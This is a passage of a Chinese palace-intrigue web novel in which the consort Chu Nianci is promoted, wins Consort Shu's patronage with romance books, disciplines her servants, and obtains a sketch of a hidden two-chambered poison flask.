“夫人”不过是个虚名,她并不太在意。
真正让她惊喜的是恩科……他竟愿为她的家人特开科举。
这一刻,她忽然觉得,他若真为自己做个“昏君”……似乎也不错。
“慧儿,此番为洗脱嫌疑彻查此案,太后怕是不悦,俏氏一族为太后远亲,除夕宴慧儿低调点。"端木清羽提醒。
楚念辞这才知道,俏氏为何敢嚣张?
但是她既然敢犯到自己头上来,就算是得罪了太后,也是没有办法。
"慧儿,皇后与太尉府,只怕也不悦?”端木清羽语气依旧随意地话锋一转,眼底却多了几分告诫。
无论是皇后与太尉府,还是镇国公府。
他都不愿看到自己宠爱的女子受任何威胁。
楚念辞只装作不懂,睁着一双清澈的大眼,满是困惑:“臣妾帮着查清了真相,皇后,太尉府不该感激吗?”
端木清羽轻掀羽睫,不咸不淡地扫她,眸色深沉:“慧儿难道不知,俏氏与皇后走得近,而太尉府已准备送新人入宫了?”
他一脸,你再装傻试试。
楚念辞连忙露出恍然大悟的笑脸。
太尉府显然是打算,借一个无用的白庶人之死,来为新入宫的嫡女换取更高的位份。
若此案不明不白,为安抚太尉府,他至少得许出一个妃位。
如今真相大白,能给个嫔位便顶天了。
太尉府如何高兴得起来?
楚念辞点头道:“即便新人入宫,他们不记着臣妾的好……也不该为难臣妾,哪有人会为了这些,就宁愿放过害死亲妹妹的真凶啊?”
端木清羽低叹一声,将她拥紧,没再言语。
她还是将那些人想得太好了。
在这后宫之中,在许多女人眼里,利益永远重过亲情。
她们会抓住一切机会,踩着能利用的一切向上攀爬。
他的慧儿,终究是低估了人心的底线。
或许不是她不懂这后宫倾轧,而是她心里仍留着那份良善。
而他喜欢的,不正是这份澄澈吗?
“你说得对,朕只是同你说笑罢了。”他温声道。
楚念辞声音轻柔依恋:“有陛下在身边,嫔妾便什么都不怕。”
端木清羽看到了她冲自己嫣然一笑,那笑容发自肺腑明媚万端。
端木清羽的喉间一阵发紧,清隽的眼底升起了一抹火光。
翌日一早,帝王倒是一脸笑意,餍足地去上朝了。
楚念辞却双腿酸软,都快直不起腰了……
他神清气爽地走在去勤政殿的路上。
端木清羽忽然想起什么,对李德安道:“传旨六宫,封慧贵人为夫人,从私库里那支波斯进贡的蔓珠莎华步摇,寻出来送去棠棣宫,另拟旨:开设恩科。”
李德安心头剧震。
那奇珍蔓珠莎华,虽是珍宝,毕竟还是玩意……
更让他心惊的是那另两道旨意。
这夫人虽说是个荣誉。
但是极大的荣光。
许多宫嫔穷尽一生也未见得封为夫人。
而且陛下为何要突然增设恩科……有了上次的教训,他学精了,不再多问。
他垂下眼眸,平心静气地道:“是”
这不是楚念辞头回侍寝,按规矩虽不必向皇后请安,但这宫里许多事是看实力不是看规矩,她觉得不必要为这种事与皇后发生矛盾。
但因
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为皇后被禁足了,于是正好能多睡一会儿,缓缓身上的酸软。
日头快到正午,她才悠悠醒来。
宫女禀报说沈澜冰早上来过,见她睡着便先回去了,说等醒了再来看自己。
团圆满脸藏不住的兴奋,声音都雀跃:“小主可算醒啦!”
岚嬷嬷端着托盘走近,含笑低语:“李常侍一早悄悄送了陛下的赏赐来,这样的好东西若传出去,后宫的娘娘们怕要眼热了。”
连李大太监都如此谨慎,楚念辞也被勾起了好奇。
她轻轻打开锦盒,眼前蓦地一亮……
盒中静静躺着一支极为别致的步摇。通体由红宝石镶嵌而成,色泽清透如水,边缘细碎的宝石流转着霓虹般的光彩,映得熠熠生辉……这般成色的红宝石实在罕见。
团圆忍不住轻叹:“这也太美了……”
楚念辞将步摇斜簪入鬓,对镜望去……流光漾漾,衬得眉眼愈发明艳。
没有女子不爱珍稀首饰,她自然也是欢喜的。
甜言蜜语终是虚的,这支步摇,倒不枉昨夜那般用心承欢。
指尖抚过冰凉的宝石,她忽然想起前世此时……嫁入蔺家,耗尽嫁妆操持家计,最后换来的却是丈夫的背叛与婆婆送来的毒酒。
镜中人轻轻一笑。
这一世,终究不同了。
正想着,门外传来一阵欢腾的动静……原来早上六宫皆知她晋了“夫人”之位,太后竟也派人送来了贺礼。
一座宝石玉山子,还有不少江南来的珍稀吃食。
宫人们围看着,个个喜气洋洋。
楚念辞刚想提醒宫人该低调些,岚嬷嬷却匆匆走近,低声提醒:“小主,淑妃娘娘在四执库抓赌,逮到了几个棠棣宫的人……传您立刻过去。
“小主,淑妃如今强势,实力不容小觑,她若刁难您,您千万别与之争一时口头之快。”岚姑姑担忧地说。
楚念辞心下了然。
因为俏贵人,太后出手了。
她果然心事深沉,手段老道。
出招也是这般了无痕迹。
这般“鲜花着锦”地抬举自己,让自己合宫赞颂。
却一出手就刺激了淑妃。
淑妃这就找上门来了。
她起身笑了笑,让团圆去养心殿看看,淑妃今日给陛下送的鸡汤到了没有。
团圆回话说已经送到了,李公公稍后便会将陛下的回礼送去。
听到这话,楚念辞心里有了底,拿了几本话本,便带着团圆往淑妃的住处去了……
第90章 淑妃的招揽,大棒加甜枣。
楚念辞带着团圆到了玉坤宫。
一进门,就看见满宝和另一个太监福贵在墙角罚站……
两人头顶水盆,裤带被抽了。
这大冷天的,只要手一扶盆,裤子就得掉,头一晃,水就得泼一身。
所以两人只能拼命抻着脖子一动不动。
这种处罚方式,满宫里也就淑妃会想出这么损的招。
楚念辞看得嘴角一抽,又好气又好笑。
早就告诫过满宝别去四执库赌钱,这小子竟敢不听。
“活该。”她低声斥了一句。
满宝眼珠子直转,满脸委屈,却因顶着水盆不敢大动,只含糊哼道:“小主……救救奴才……”
一个小宫女见楚念辞来了,进去通报,回来说淑妃正在午睡,请她在廊下稍等。
这天气有点阴,廊下又正好对着西北,西北风刮在脸上,一阵紧一阵,小刀子似的。
淑妃这是用,大棒加甜枣的御下之道来招待自己。
楚念辞拢了裘皮大氅。
她抱紧手炉,也不急,静静站着。
约莫一炷香时间,正好瞧见巾帽司和造办处的人从正殿退出来。
皇后禁足后,淑妃掌权,正忙着操办除夕宴。
紧接着,督水司的人也出来了。
淑妃向来讲究,连饮用的水都非要百里外玉泉山的不可,每日光是运水就得耗上百两银子,其奢靡可见一斑。
这回宴会,想必更是排场极大。
正想着,却见李德安领着两个小太监捧着托盘朝这边走来。
一见楚念辞,他停下脚步,笑问:“小主怎么站在这风口里?”
楚念辞恭敬道:“淑妃娘娘还未醒,妾身在此等候。”
李德安心下了然……
这是被晾在这儿立规矩了。
念及楚念辞是养心殿出来的人,又正得圣心,他便顺势扬声接话:“原来如此,那这点心奴才也先不送了,待会儿再来。”
话音未落,门帘“嗒”的一响。
淑妃身边的大宫女绿翘笑盈盈走出来:“娘娘已经醒了,请夫人和李公公进去吧。”
其实淑妃哪曾睡着,不过是故意给楚念辞下马威。
没想到李德安来送回礼,连忙让绿翘出来迎接。
绿翘垂眼侧身,先请大伴入殿。
见计谋失败。
她眼底闪过了一丝不悦,却也无可奈何,让绿翘收了陛下的回礼,又命人送李大胖出门。
这才让人让楚念辞进门。
楚念辞步入殿内,眼前一片华贵景象。
满室紫檀家具雕花嵌玉,正中一尊高大的紫玉香炉袅袅生烟,处处透着奢华贵气。
淑妃并未端坐主位,而是着一身银红锋**夹袄,斜倚在窗边的蜀锦满绣软榻上。
午后淡淡阳光,从贝母细镶的窗户透进来,衬得她肌肤愈加白皙,娇艳如盛放的芍药,目光锐利,通身透着不容逼视的富贵之气。
淑妃正眯着眼,正用玉轮轻轻按摩脸颊。
“臣妾给淑妃娘娘请安,”楚念辞端正行礼,“前日蒙娘娘赏赐**,太过贵重,妾身特来谢恩。”
淑妃斜斜瞥来,目光落在楚念辞明艳的脸上,尽是骄横妒忌之色。
她心里明白,眼下最重要的是对付皇后,扶持有用之人。
可一想到皇帝对楚念辞的宠爱,竟然眼睁睁快要超过自己。
那股妒意就压不住。
尤其是看着那张比自己更娇艳动人的脸,淑妃心里越发不痛快。
她语气冰冷:"任由宫人**,自己忙着邀宠,你可知罪?"
楚念辞忙跪下道:"臣妾忙着帮斓贵人调理身体,确实有所疏忽,请娘娘治罪。"
帮斓贵人调理,是圣上的旨意,有所疏忽也合情合理。
淑妃换了个话题:“哼,你封了夫人!”
“圣宠都快赶上本宫了。”
“照这么下去,是不是很快便要踩到本宫头上来?”
侍立一旁的绿翘暗自叹气,却也知道劝不住自家娘娘。
淑妃越说越气。
“除夕夜宴将至,各宫都得预备些礼物,让陛下,太后尽兴,嘉妃擅琴,悦贵人擅箫,那日本宫见你踢毬身手不错……”
她朝绿翘示意,“去把皮鞠取来,你便踢给本宫看看。”
绿翘转身捧来一只彩绘皮鞠。
这分明是存心羞辱。
在御前献艺是邀宠。
在妃嫔面前表演,岂不成了街头卖艺的伶人?
楚念辞早料到淑妃会刁难,此刻丝毫不慌,只低着头。
“娘娘,臣妾确实会踢几脚,”她不疾不徐道,“但那是在毬场上,若在这满殿玉器珍玩之中,万一失脚踢碎了什么,岂不是糟蹋了娘娘的心爱之物?”
淑妃柳眉倒竖:“殿中不可,你到外头去踢。”
“娘娘,寒冬腊月,您让臣妾去雪地里踢,臣妾倒没什么,只是传扬出去,会被人说是处罚臣妾,有损娘娘美名,”楚念辞声音不卑不亢,“陛下常赞娘娘仁善,若因臣妾的过失而受罚,陛下知晓了,又会如何作想呢?”
淑妃微蹙蛾眉。
“娘娘,”楚念辞道,“陛下这几日到臣妾,不过是为着斓贵人重伤未愈,才多来几次,怎么能比得上娘娘圣宠。”
好像她说得有道理,淑妃只觉心里面好受了一点。
绿翘见状,忙上前劝道:“娘娘,确实是这样,慧贵人其实还是很本分的,这几天都派人过来问安。”
淑妃神色稍霁,却依旧板着俏脸摆手:"起来吧。"
楚念辞连忙道:“娘娘,说到礼物,臣妾倒得了几样稀罕物,特来献给娘娘。”
说着,她神神秘秘地从袖中掏出几本书。
眼神躲闪,话也说得磕绊。
“只是……这东西……我不知道到底能不能给娘娘看……若被发现,臣妾不知会不会受罚。”
“到底是何物?”淑妃见她这般模样,不由愈发好奇。
楚念辞这才将《棒打薄情郎》《明皇秘史》取出。
一旁的团圆看得一愣,
这不是前几日大舅爷捎来的话本吗?
有什么稀罕的?
淑妃接过书,才翻几
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页就被吸引住了。
很快,她眼眶微微发红,脸颊也泛起薄红。
“娘娘……千万别说这书是我拿给您的。”楚念辞小声道。
淑妃才看第一句,就被吸引住了。
在天愿作比翼鸟,在地愿为连理枝……
她自幼受世家教导,琴棋书画皆精,市井话本却是头一回看。
那《明皇秘史》中的情节,竟仿若写的就是自己与皇帝。
见她神色沉迷,泫然欲泣。
楚念辞心中暗暗叹息。
她何尝想这么做?
可若不是淑妃步步相逼,她根本不想如此。
紫禁城中,最忌讳的就是烂好心,随便同情别人。
对于这个时时想把自己踏进烂泥里的人,她只能不择手段。
否则,她就会成为她泄愤的出气口。
时间久了,这宫里就再也没有她的立足之地。
“娘娘,臣妾看这本书,仿若看见娘娘您与陛下之间感情,在天愿作比翼鸟,在地愿为连理枝,这不就是写的娘娘您和陛下……”
淑妃连连点头,捧着书的手,都是微微颤抖。
眼眶已经红了。
楚念辞露出几分不安,恳求道:“皇后娘娘只怕已容不下妾身……每每想起,实在惶恐,深觉自己如孤鸟无枝,无所依托。”
她语气渐低,透着无助:“淑妃娘娘若不弃,愿追随娘娘。”
淑妃早已不耐烦。
她今天把他喊过来。
其实也有招揽之意。
只是看见她如此明艳,才一时被酸炉冲昏了头脑。
早知道楚念辞与皇后有旧怨,皇后几次三番欲除之后快。
俏答应本是皇后的人,楚念辞能躲过那番算计,足见她有手段。
聪明有手段,又无家世倚仗,还彻底得罪了皇后……
再没有谁,比楚念辞更适合做她手中的刀了。
淑妃不耐挥了挥手,语气倨傲:“行了。"
"本宫知道你的忠心,往后皇后那边若再给你委屈受,你尽管来玉坤宫,本宫替你撑腰,绿翘,去拿和田翡翠镯子赏她。”
既然已经立过威,总该给点好处。
淑妃觉得御下之道,无非是大棒加甜枣,这自己早就驾轻就熟。
楚念辞看着绿翘递过来的一汪水似的玉镯。
……几本书换得这价值连城的宝贝。
这生意简直赚翻了。
于是,诚心诚意感激:“有娘娘庇护,妾身便安心了。”
“好了,本宫也乏了,你们先退下吧。”
“臣妾告退,那臣妾那几个不中用的奴才……”
“带走便是。”淑妃已重新捧起话本,头也不抬地转过身去。
楚念辞行礼退出,转身时,唇角掠过一丝极淡的笑意。
出来后,看着满宝,福贵……
她的宫里也该好好地整顿整顿……
带着满宝刚走出玉坤宫,拐了一个弯,走到无人之处。
他扑通一声跪了下来,扯着楚念辞:“小主,您救救我哥,他们……他们要把我哥送给魏公公当干儿子……
第91章 为弄清阴阳瓶救下宝柱
楚念辞闻言心中一动。
阴阳瓶?
又叫九曲鸳鸯瓶。
她确实听说过。
传闻这种瓶子很神秘。
能一器分装两种酒液,最初是前朝哀帝为讨好万贵妃所研制的玩意儿,后来竟被人改造成了害人的利器。
只是历经战乱,制作工艺早已失传。
她也只是听闻,并没有真正见过。
她抬眼瞥了瞥跪在远处的福贵。
就算这奴才想救他哥哥,可他既犯了宫规,便不能纵容。否则日后还如何管教下人?
于是她板起脸,冷冰冰道:“犯了这么大的错,还有脸求情?且看我回宫后如何处置!”
回到宫中,楚念辞面若寒霜,让岚姑姑搬了把椅子放在正殿,又召齐了宫中二十几个宫人。
“把满宝和福贵带上来。”她吩咐道。
满宝缩着肩膀,垂头丧气,活像只被丢弃的小狗。
福贵年纪大些,生得长脸俊眉,被押上来时却还不服气地梗着脖子。
福贵满不在乎地嚷嚷:“小主,奴才是初犯,您就饶了这回吧,**爹可是皇后宫里的总管魏进忠!”
楚念辞微微一怔。
皇后身边的掌事宫女是夏冬,她倒没听说过还有位总管。
岚姑姑俯身耳语:“小主,魏总管是太后早年赐给皇后的,皇后不太信他,平时不让他进殿伺候,出门也常不带他,故而他一直称病闲居,低调行事,没什么实权。”
原来是个空有名头的。楚念辞抬头,声音清冷:“我不管你是谁的儿子,错了就是错了。我早立过规矩,严禁**,拖下去,各打二十板子。”
说完,她朝岚姑姑递了个眼色。
满宝年纪还小,吩咐底下人手下留情,别真打坏了。
板子打在皮肉上的声音一声接一声地响起。
阶下众人,脸色愈发惶恐,人心惶惶。
“坠儿和小贵子的下场,你们都看见了,他们就是因为被人收买,落得如此下场,”她声音不高,却让整个院子的人心安静下来,“如今各宫都盯着咱们,自己再纵容,不知检点,不是给人递刀把吗,若有人觉得待不住,现在就可以走,我不拦着,但若留下还敢生事……”
她顿了顿,语气转冷:“打一顿,送去暴室。”
院子里鸦雀无声,日头明晃晃,空气闷得发僵。
岚姑姑第一个跪下:“奴婢听从小主吩咐,绝无二心。”
团圆紧跟着俯身:“奴婢也是!”
众人纷纷叩首,齐声道:“奴婢们不敢背主妄为!”
楚念辞神色稍缓:“你们只管本分当差,我自然不会亏待,过几日,本小主封夫人,全宫每人加赏一个月的月例。”
底下人脸上露出藏不住的喜色。
她转身步入殿内。
心里明镜似的……这些人多半是墙头草,唯有恩威并施,才拴得住。
团圆跟进来,撇撇嘴:“小主,这些人风吹两边倒,干嘛不撵出去换一批?”
“撵出去,新来的就不是墙头草了?”楚念辞摇头,“宫里活着的人,大多都得会看风向。我有法子让他们服帖。再说,不是还有你替我盯着吗?”
团圆立刻点头:“奴婢一定帮小主看紧了!”
过了一会,岚姑姑轻轻掩上门,回禀道:“小主,杖刑己毕,满宝没事,歇几天就能下床,我都打听清楚了,他确实是为了哥哥,在造办处打碎了瓶子,没钱赔,才去**,那个福贵纯粹是好吃懒做,嗜赌成性。”
团圆也道,“对了,方才满宝说他哥哥的事,她哥哥叫什么来着……咱们要不要去造办处看看?”
岚姑姑略一思忖,道:“满宝的哥哥叫宝柱。”
楚念辞低眉想了一会儿问:“能做宫中大伴义子,是人人攀附之事,魏公公好歹是皇后的总管,他一个造办处低等小太监,为何不愿?”
“这……”岚姑姑看了一眼团圆,小声在楚念辞耳边道,“这魏公公一直有个癖好,常带年轻秀美小太监去庑房过夜。”
“这两个太监如何成事?”楚念辞奇道。
“这……奴婢就不知道了,为这事皇后也曾责问过他,可调查下来,都是双方自愿,就无法再管下去了,只能申斥几句,不再管他。”
楚念辞没心情管这些烂糟事,但她总觉得刚才满宝说的,悦贵人去造办处的事,堵在心口,闷闷得让人不放心。
于是她换了身素净衣裳,带上团圆,径直往造办处去。
路过上林苑时,微风徐来,已带了些暖意,上林苑许多庭树也冒出了嫩芽,镜湖池边的绿柳也扬出了一派春意。
她心中不由感叹:若日后真能攀上高处,这般尊贵安逸的日子,该有多惬意。
这念头刚冒出来,却瞧见悦贵人正从造办处门口出来,仍是那副冷淡疏离的模样。
楚念辞不想与她照面,脚步一转,带着团圆绕去了后院。
还没进院,就听见一阵骂骂咧咧的动静。
她蹙眉快走几步,穿过窄窄的夹道,只见五六个太监围在那儿,堵住一个小太监,又打又骂。
其中一个长脸的年长太监,正恶声问道:“宝柱,你知道打碎那瓶子,值多少银子吗?”
被围的宝柱闷不吭声。
“二百两!”长脸太监啐了一口,“你拿什么还?”
“……发了月钱我就还。”
“你月钱才四百文,要还到猴年马月?”那人眯着眼掰手指,却算不清。
“**,要还几十年,你存心找揍是不是?”长脸太监边说边狠狠踹了宝柱几脚。
宝柱蜷着身子硬扛,一声不吭。
这模样反倒激怒了对方,脚踢得更狠。
旁边一个太监眼珠一转,凑到长脸太监耳边嘀咕了几句。
长脸太监眼睛一亮,伸手抬起宝柱的脸……他也只有十六七岁,虽然沾满灰土血迹,却能看出皮肤白皙,五官生得十分精致。
他顿时换了副嘴脸,笑得淫兮兮:“宝柱啊,你去给魏公公当干儿子,只要巴结上他,莫说两百两,便是千两,也都是一句话。”
宝柱抿紧嘴唇,不搭话。
那人眼里却露出些下作的笑意,伸手去挑宝柱的下巴,“你答不答应?”
宝柱抬起乌黑的眸子,冷冰冰地看了他半晌,忽然咧嘴骂道:“去**。”
那太监勃然大怒,
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招呼周围几人又是一顿拳打脚踢。
在一片闷响与咒骂声中,一道清凌凌的喝止声插了进来:“住手。”
那几个太监闻声回头,只见一位身着苏缎狐**滚边大氅、眉目明艳的少女立在几步开外,身后跟着个圆脸宫女,正冷冷地看着他们。
“见了慧贵人还不行礼!”团圆上前一步,叉腰斥道。
太监们仔细一瞧,那少女身上穿的是贵人服饰。
忽想起宫里确有这么一位正当宠的贵人。
为首那长脸太监顿时变了脸色,连忙带着几人连滚爬跪倒在地。
楚念辞沉着脸走近,明澈的眸子扫过众人。
落在长脸太监身上:“皇上与太后早有明令,严禁私下行欺压之事,各宫总管尚且恪守礼制、修身养性,你们倒敢聚众**他人?一群木鱼脑袋瓜子,想试试宫规的刀锋吗?”
一群人吓得大气不敢出。
一太监小声道:"小主,他打碎器具,奴才们正追债。"
"就算他打碎东西,索赔也该由内务府追讨,你们这几个奴才,怎可动用私刑,私下追讨,莫不是想中饱私囊?"
"这……"那太监说不出话了。
楚念辞吩咐道:“去个人,把造办处的管事叫来。”
这话让众太监腿都隐隐发软。
长脸太监眼珠一转,急忙跪爬几步,奴颜婢膝地求饶:“慧贵人饶命啊,奴才再也不敢了……”
说着,他抬手就狠狠扇了自己一耳光。旁边几个太监见状,也纷纷跟着自扇起来。
楚念辞只冷眼瞧着。
直等每个人都扇了十几个耳光,脸上已经红肿不堪。
她才瞥了团圆一眼。
团圆会意,厉声道:“往后若再随意欺辱旁人,可没这么容易蒙混过去!都滚吧。”
太监们如蒙大赦,磕了个头,慌忙爬起来跌跌撞撞地跑了。
等那些太监都跑远了。
宝柱才连忙上前跪下:“多谢慧小主救命之恩。”
楚念辞望着远处,淡淡道:“人得先自救,别人才救得了,就看你要选哪条路了。”
选哪条路?
这话里的意思,是要看他的诚意和投名状了。
宝柱也是个机灵的,连忙抹干净脸上的血迹,道:“小主的恩德,奴才铭记在心,奴才的弟弟满宝也在棠棣宫当差,蒙小主照拂,从今往后,奴才愿誓死追随小主,但凭差遣。”
见他这么说。
楚念辞目光柔和几分。
她不怕他反水,毕竟有满宝这个弟弟在自己手里,他的忠心还是有几分可信的。
“你且在这儿再待几日,”楚念辞低声吩咐,“听说你们这儿有人私下仿制过阴阳瓶,你想办法,偷偷把图样画一份给我。”
宝柱抹去唇边的血迹,又叩了一个头:“奴才一定办到。”
楚念辞看了看他清秀的眉眼,心中暗想:倒是个伶俐的。
若真能通过考验,证明其忠心,将来调到棠棣宫来用,也未尝不可。
从造办处回来,她与团圆又看见悦嫔与素心,偷偷摸摸地从造办处侧门出来……那眸光诡谲的样子,一看就不像是琢磨什么好事……
第92章 淑妃的投名状与淳太妃
回到棠棣宫,不多时便到了晚膳时分。
太后赏的那些精致糕点江南美食,味道确实不错。
楚念辞看着淑妃送的翡翠镯子和那尊宝石山子。
觉得今日在玉坤宫说的那些好听话,实在很值。
动动嘴皮子,就能换来这些实在的好处,何乐而不为?
晚膳过后,宝柱偷偷摸摸地进来,跪在地上,从怀里掏出一张图纸。
楚念辞接过来一看……
阴阳瓶形似宫中常用细颈酒壶。
但瓶身内藏玄机,一道薄如蝉翼的暗隔将壶腹悄然分为两腔,各通一处注口。
外看仅有一颈,实则壶盖上有两个小点,按下一边,可择一流注。
看似寻常。
内壁曲折暗影,幽径潜藏暗涌杀机。
“办得不错,”楚念辞道,“为了不打草惊蛇,你再在造办处忍几日,我会选择合适的时机调你出来。”
宝柱垂首,磕了个头去了。
团圆一边伺候她净手,一边问道:“小主,您让宝柱去找阴阳瓶的图样,是不是怕有人拿这个害咱们?如今咱们有了淑妃娘娘的庇护,往后在宫里谁敢招惹咱们?”
楚念辞轻轻捏了捏她圆嘟嘟的脸。
摇头笑了:“傻丫头,你想得太简单了,自我彻查寒食粉一事,皇后与太尉府恐怕早已盯上我了,至于淑妃……”
她顿了顿,“她不过是将我当作一把趁手的刀,刀若好用,便用着,不好用了,随时可换,谁会费心去庇护一把刀呢,而且她也并未全然相信我,毕竟我还没交投名状。”
“啊?”团圆听糊涂了,“那您为何投效淑妃?”
楚念辞神色平静,缓缓道:“接下来新人入宫,我又得罪了皇后与太尉府,若此时淑妃也对我出手,我们便会陷入几方夹击,难以招架,只有先站在淑妃这一边,才能避免腹背受敌,争得喘息之机。”
团圆这才恍然大悟:“原来是这样……”
楚念辞道:“不过,给人当刀也有当刀的好处。至少新人入宫后,淑妃和她手下的人,暂时不会来为难咱们。”
正说着,小宫女来报,淑妃身边的绿翘来了。
楚念辞心想,上回送的话本子应当看完了,这次来,怕是等着她递“投名状”呢。
她忙叫人打帘请进来。
绿翘穿着一身天青色的宫装,模样俏丽。进门便端端正正行了个礼。
楚念辞让团圆看座,绿翘谦让了一番才坐下。
“今日在玉坤宫,多亏你替我解围。”楚念辞说着,让团圆递上一个沉甸甸的香囊。
其实即便没有绿翘开口,她也有法子脱身,但这份人情她得认。
绿翘却恭敬地推辞:“奴婢不敢当。”
这话虽不热络,甚至有些拒绝贿赂的意味,楚念辞却觉得,比起那些口蜜腹剑的。
这样的人反而更值得相处……至少表面如此。
经过再三推辞,绿翘才收了赏银,恭敬的浅笑道:“小主,不必多想,只要诚心效忠娘娘,将来必当前途无量。”
“娘娘凤仪万千,圣宠优渥,跟着娘娘这样的主子,如今睡觉都踏实些,”楚念辞笑道,转而压低声音,“我诚心追随娘娘,听说有人偷偷在造办处弄了‘那个’,只怕会在宫宴上作祟,破坏除夕宴,恐对娘娘不利。”
她没说悦贵人,毕竟那只是自己看到。
捕风捉影没有证据的事儿,她从来不会随便说出去。
她将一张叠好的纸笺推了过去。
绿翘接过,展开略看一眼,脸色骤变,猛地站起身来。
“小主,此事非同小可,万请保密,奴婢这就回去禀报娘娘。”她再也坐不住,匆匆一礼,转身便走。
楚念辞望着她疾步离去的背影,嘴角微微扬起。
团圆微微诧异地问:“小主,既然淑妃只是把咱们当刀使,发现这个瓶子的秘密,告诉皇帝,或者是在宴会上揭穿此事,不是又是大功一件,何必告诉她,平白让她捡便宜。”
“除夕宴,太后与皇后在场,若是我在太显眼,一定会招来祸端,既然如此,不如把这个作为投名状送给淑妃,至少可以打消她心中的疑虑和猜忌。”
除夕家宴,太后也会出席。
太后既已盯上自己,此时不宜出头。
这“风头”也该让淑妃去出,纵容淑妃水涨船高,各方势力都不会再容忍下去。
其实对她也是一种约束。
翌日,淑妃果然又大张旗鼓地送了一些赏赐过来。
看来。
她对昨天自己送的那个投名状颇为满意。
这就向全宫的人表示,楚念辞如今是她的人了。
楚念辞正中下怀照单全收。
毕竟有淑妃照看,许多人就想要动她也得掂量掂量。
午后,她与岚姑姑,约了嘉妃去看了沈澜冰,在回来的路上,路过了御花园。
楚念辞和嘉妃正一同走着,忽然听见身后有人冷笑。
回头一看,竟是悦贵人。
原来是她禁足时间到了,就被放了出来。
只见她慢慢走上前来,脸上是一如既往的清冷不屑。
容长脸上全是讥讽,话里带着刺:“本来以为你还有几分骨气,没想到是投奔了淑妃,靠仰人鼻息才获得这么多恩宠,不知午夜梦回,心里滋味如何?”
楚念辞抬眼看去,悦贵人那张清冷的脸上写满了讥讽。
这位悦贵人还是没有接受教训。
看来是礼部尚书的家里也是把她护得太好,说话也没轻没重。
可惜她五官虽不算绝色,费尽心机把皮肤养得像细瓷一样白里透粉,远远看去,真跟玉人似的,加上浑身透着一股清冷高傲的大家闺秀气质,本来也算一个佳人。
只可惜进了宫,加上久久未能承恩。
人一旦嫉妒起来,真是眼盲心瞎。
估计是看自己既得了皇上宠爱,又得了淑妃的青眼,这才跳出来找碴。
楚念辞也不恼,只浅浅一笑:“什么仰人鼻息,恩赏本该姐妹同享,悦姐姐若有喜欢的,尽管挑些去。”
说着便伸手把淑妃赏的一支玉簪从头上拔下来,递到悦贵人面前。
这女人,最是清高,怎么可能收自己头上拔下来的东西。
果然,悦贵人脸色一下就冷了下来,冷冰冰瞥她:“谁稀罕。”
她斜着眼睛见楚念辞一张脸娇艳如海棠,一看就是深受皇上雨露恩泽,心想肯定是靠下作的手段,才能获得圣宠。
凉凉道:“妹妹真是会收买人心,不过不必向我示好,更不用献殷勤,本宫不吃你这狐媚下作的一套。”
一旁的嘉妃武将世家出身,脾气本就硬气,根本看不惯她这副作派。
听到这话,便要冷冷反驳:“悦贵人在闺中时德行口碑俱佳才被选入宫,没想到是个表面一套背后
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一套,爱喝暗醋两面三刀的人。”
悦贵人听得脸色煞白。
清冷高贵的样子,差点就端不住。
但她不敢随便回怼的高位嫔妃。
只一甩袖子转身就走。
就在这时,旁边宫道拐角处恰巧转出一辆运送淑妃宫中用水的马车。
楚念辞与嘉妃一行人连忙向旁边避让。
不料另一侧道上不知何时又来了一架肩辇,抬辇的宫人没留神,几乎与那水车撞上。
赶车的小太监吓得急忙勒马,车身猛地一晃,车上一个半满的水桶顿时倾翻。
大半桶水“哗啦”一声全泼在悦贵人身上……
悦贵人惊呼一声,从头到脚被浇了个透湿,成了个落汤鸡。
身边宫女慌忙上前搀扶。
而那边肩辇也因这一惊猛地一歪,辇上坐着的人身子斜倾,虽然左右宫人赶忙去扶,她怀中抱着的一只小白狗却惊得一个挣扎,直直掉了下去。
楚念辞眼疾手快,一个箭步上前,伸手将那团毛茸茸的小东西稳稳接在了怀里。
“富贵儿!”肩辇上一位中年美妇急唤出声,一下从辇歪下来。
楚念辞抬头看去,这妇人约莫四十出头,面容白皙,唇色红润,一双眼睛又黑又亮。
她身量高挑,姿态优雅,看得出年轻时必是位美人。
此时她身边已围上几位伺候的宫人。
“见了淳太妃,还不快行礼?”一位五十岁左右、圆脸微丰的姑姑开口道,她衣着素净,显然是太妃身边得力的管事。
淳太妃?
楚念辞心念一转便想起来了。
先帝的嫔妃,当今太后的亲妹妹。
据说在先帝时并不算得宠,可凭着太后这层关系,收养雍王做儿子。
如今是亲王之母,在朝中,在宫中,地位不容小觑。
她连忙抱着小狗躬身行礼。
淳太妃却顾不上别的,只伸手轻轻将小狗接了过去。
这时,淳太妃忽然“哎哟”一声,身子向旁边一歪:“本宫的手……”
楚念辞忙看去,只见淳太妃一条手臂软软垂下,竟是刚才受惊时下意识护着小狗,不小心给扭脱臼了。
脱臼这伤治起来快,且效果立竿见影。
“太妃,您且忍一忍。”楚念辞说着便起身放下小狗,上前,托住了她的手臂。
“大胆!你是谁,如何敢触碰太妃?”那位姑姑立刻要拦。
此时,跟着楚念辞的岚姑姑却快步上前,朝那姑姑行了个平礼,笑着道:“云姐姐,许久不见,这位是慧贵人,略通医术,上回我的腰伤便是她给调理好的,不妨让她试试?”
云姑姑看了看岚姑姑,神色缓和了些,两人之前显然关系不错。
她又打量了楚念辞一眼,终于没再阻拦。
楚念辞深吸一口气,一手稳住淳太妃的肩膀,另一手托住她的小臂……
找准位置,向上轻轻一送,只听一声轻微的“咔嗒”,手臂便复位了。
淳太妃原以为手臂断了,正疼得钻心,没想到这小姑娘只是这么轻巧地两下,那剧痛便消失了,手臂也能慢慢活动了。
她长长舒了口气,脸上总算露出了笑容:“好伶俐的姑娘。”
她看向楚念辞,见她相貌明艳大方,目光聪慧机灵。
便带上了几分欣赏,几分感谢,几分欢喜。
于是温和亲切地问:“你叫什么名字?”
第93章 蔺景珏,我要你一命还一命。
楚念辞端正行礼:“回太妃,臣妾是棠棣宫的慧贵人。”
淳太妃脸色尚有些苍白,额上沁着细汗,正由云姑姑轻轻擦拭。
她缓了口气,温声道:“原来你就是慧贵人,近来常听人提起,生得这般灵秀,看着也聪慧。”
此时淳太妃伤处仍痛,只觉四肢发软、头晕目眩。
楚念辞忙劝道:“太妃关节方才复位,须回宫静养,稍后或许会发热,还是请太医开些清热镇痛的方子。”
淳太妃被搀回肩辇,周遭宫人已小心抬辇前行。
她仍回过头,轻声对楚念辞道:“今日之情,本宫记下了,有空来寿康宫坐坐。”
楚念辞恭谨垂首,目送肩辇远去。
另一边,悦贵人已成了落汤鸡模样。
虽被宫人披上描金斗篷,发饰妆容却糊作一团。
悦贵人脸色顿时难看至极,她浑身湿透,冷得发颤。
团圆与丽心在一旁忍不住偷笑。
